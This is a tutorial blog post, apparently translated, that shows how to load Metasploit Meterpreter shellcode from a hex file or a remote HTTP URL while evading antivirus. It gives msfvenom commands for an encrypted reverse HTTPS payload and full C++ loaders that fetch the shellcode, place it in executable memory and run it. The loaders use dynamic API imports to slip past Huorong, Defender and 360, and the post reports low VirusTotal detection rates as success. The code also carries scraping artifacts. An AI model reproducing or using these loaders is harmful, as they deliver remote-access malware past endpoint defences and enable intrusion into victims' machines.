Introduction
This article introduces in detail how to separate loading of Shellcode through file loading and remote URL loading to avoid detection by security software. The article first describes the process of loading shellcode files generated by Metasploit Framework, and provides the relevant C++ code.
In order to avoid being detected by antivirus software, dynamic API calls and lazy_importer projects are used for code optimization. Secondly, the article discusses how to load shellcode through a remote URL, and also provides the corresponding implementation code. The whole article aims to help readers understand the specific implementation process and principle of shellcode separate loading, and at the same time enhance the mastery of this technology through practical operations
1. Load via file
msf generates shellcode file
Use msfvenom
to generate text files in raw format, but text files in raw format are easily detected by antivirus software. In order to prevent communication features from being detected, I also encrypted msf traffic here. Friends who want to know about msf traffic encryption here can read this article: MSF traffic encryption
msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f raw -o shellcode_raw.txt
In order not to be killed by anti-software, save it in hexadecimal format
msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f hex -o shellcode_hex.txt
Code Implementation
What this code does is read the shellcode from a file represented in hexadecimal, load it into memory, and execute the shellcode
#include <windows.h> #include <iostream> #include <fstream> #include <sstream> using namespace std; // Convert a single character in hexadecimal to the corresponding integer value unsigned char hexCharToByte(char character) {<!-- --> if (character >= '0' & amp; & amp; character <= '9') {<!-- --> return character - '0'; } if (character >= 'a' & amp; & amp; character <= 'f') {<!-- --> return character - 'a' + 10; } if (character >= 'A' & amp; & amp; character <= 'F') {<!-- --> return character - 'A' + 10; } return 0; } // convert hexadecimal string to byte array void hexStringToBytes(const std::string & amp; hexString, unsigned char* byteArray, int byteArraySize) {<!-- --> for (int i = 0; i < hexString. length(); i + = 2) {<!-- --> byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } } int main() {<!-- --> std::ifstream file("shellcode_hex.txt"); //Open the specified file size_t size; //Define the number of bytes of the file content string contents; //Define file content //Check if the file was opened successfully if (file.is_open()) {<!-- --> std::stringstream buffer; //Create a stringstream object buffer << file.rdbuf(); //Copy the contents of the file into the stream contents = buffer.str(); //Convert the content of the stringstream object to string and store it in contents size = contents.length()/2; //Since two hexadecimal numbers are equivalent to one byte, the file content length needs to be divided by 2 file.close(); //Close the file } //printf("%d\\ ", size); //cout << contents; // Allocate memory for storing converted shellcode unsigned char* buffer = (unsigned char*) malloc(size); // Call function to convert hexadecimal string to byte array hexStringToBytes(contents, buffer, size); // Allocate an executable area in memory void* exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // copy shellcode to the area memcpy(exec, buffer, size); // Execute the shellcode ((void(*) ())exec)(); }
Code optimization
Both Huorong and WindowsDefender have been reported to be poisoned. The reason is that the memory application function VirtualAlloc
has been detected, so use the dynamic API call to bypass the detection
Import the lazy_importer
project to dynamically call the system api, then add (LI_FN)
in front of the api function, and replace NULL
of the function parameter with nullptr
?
After modifying the code, 360 will not report viruses, uploaded to virus Total for detection, the killing rate is 2/70, the effect is not bad
2. Load via remote url
http service directory to place shellcode files
Another way shellcode can be loaded separately is via a remote URL. First, we need to place the shellcode file in the HTTP service directory, and then enable the HTTP service: python -m http.server 8000
Code Implementation
Based on the above code, the GetUrl_HexContent
function is added, its function is to download the content from the specified url and store it in the given buffer, and then load it into the memory
#include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet. lib") #include <iostream> #include <fstream> #include <sstream> #include <vector> #include "lazy_importer.hpp" using namespace std; // Convert a single character in hexadecimal to the corresponding integer value unsigned char hexCharToByte(char character) {<!-- --> if (character >= '0' & amp; & amp; character <= '9') {<!-- --> return character - '0'; } if (character >= 'a' & amp; & amp; character <= 'f') {<!-- --> return character - 'a' + 10; } if (character >= 'A' & amp; & amp; character <= 'F') {<!-- --> return character - 'A' + 10; } return 0; } // convert hexadecimal string to byte array void hexStringToBytes(const std::string & amp; hexString, unsigned char* byteArray, int byteArraySize) {<!-- --> for (int i = 0; i < hexString. length(); i + = 2) {<!-- --> byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } } /** * Download content from the specified URL and store it into the given buffer. * * @param url URL to download * @param buffer The buffer to store the downloaded content * @return the number of bytes downloaded (note: the number of bytes is half the length of the original hex string) */ size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char> & amp; buffer) {<!-- --> HINTERNET hInternet, hConnect; DWORD bytesRead; DWORD bufferSize = 0; DWORD contentLength = 0; DWORD index = 0; DWORD bufferLength = sizeof(bufferSize); // open a connection to the internet hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet == NULL) {<!-- --> std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl; return 0; } // Open a URL connection hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hConnect == NULL) {<!-- --> std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl; InternetCloseHandle(hInternet); return 0; } // Query the content length in the HTTP response header HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index); std::vector<char> hexBuffer(contentLength + 1, 0); // Read the content returned by the URL into hexBuffer if (!InternetReadFile(hConnect, & amp;hexBuffer[0], contentLength, & amp;bytesRead)) {<!-- --> std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl; } else if (bytesRead > 0) {<!-- --> hexBuffer[bytesRead] = '\0'; // Adjust the size of the buffer to store the converted byte data buffer.resize(bytesRead / 2); // convert hexadecimal string to byte array hexStringToBytes( &hexBuffer[0], &buffer[0], bytesRead / 2); } // close the connection InternetCloseHandle(hConnect); InternetCloseHandle(hInternet); // Return the number of bytes read (note: the number of bytes is half the length of the original hexadecimal string) return bytesRead / 2; } int main() {<!-- --> // Replace this URL with the URL of your shellcode file LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt"; //Array to store malicious code std::vector<unsigned char> buffer; //Get the hexadecimal content of the remote url and store it in the buffer array size_t size = GetUrl_HexContent(url, buffer); // Allocate an executable area in memory char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // copy shellcode to the area memcpy(exec, buffer. data(), size); // Execute the shellcode ((void(*) ())exec)(); // Print the content of the buffer, just for demonstration, this step may not be needed in actual use /*for (size_t i = 0; i < buffer.size(); i ++ ) { printf(" X ", buffer[i]); if ((i + 1) % 16 == 0) { printf("\\ "); } }*/ return 0; }
VirusTotal detects only one virus report
Github project address
https://github.com/xf555er/Shellcode_SeparationLoad